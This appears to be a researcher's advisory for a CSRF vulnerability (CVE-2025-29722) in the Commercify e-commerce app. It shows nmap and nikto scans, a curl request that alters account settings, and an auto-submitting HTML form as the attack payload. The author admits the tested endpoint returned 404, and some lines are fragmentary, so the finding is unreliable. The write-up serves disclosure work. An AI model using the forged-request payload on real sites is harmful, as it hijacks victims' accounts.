
Cross Site Request Forgery (CSRF) in Commercify v1.0
Discovered by: David P.S Abraham (aka Davycipher)
CVE-2025-29722 has been assigned to this vulnerability by MITRE Corporation.
A CSRF vulnerability was identified in Commercify v1.0, an open-source e-commerce platform developed by @yassmittal. The application lacks proper CSRF protection mechanisms on critical endpoints such as /update_settings, allowing attackers to craft malicious requests that modify user data when executed from another domain.
nmap scan revealed that the service was accessible via port 5173, indicating a possible development server.
nmap -p 5173 localhost
Next, I scanned the app using nikto, revealing:
X-Frame-Options headerAccess-Control-Allow-Origin: *)While exploring the application, I suspected a possible update_settings endpoint based on the user dashboard features. I tested it with:
curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"
Though a 404 Not Found was returned, this behavior can be environment-dependent. On valid deployments, this could lead to full account manipulation.
HTML-based attack to exploit the CSRF flaw:
<form action="http://localhost:5173/update_settings" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
SameSite cookie attribute*)SameSite=Strict or Lax on cookiesDavid P.S. Abraham
Alias: Davycipher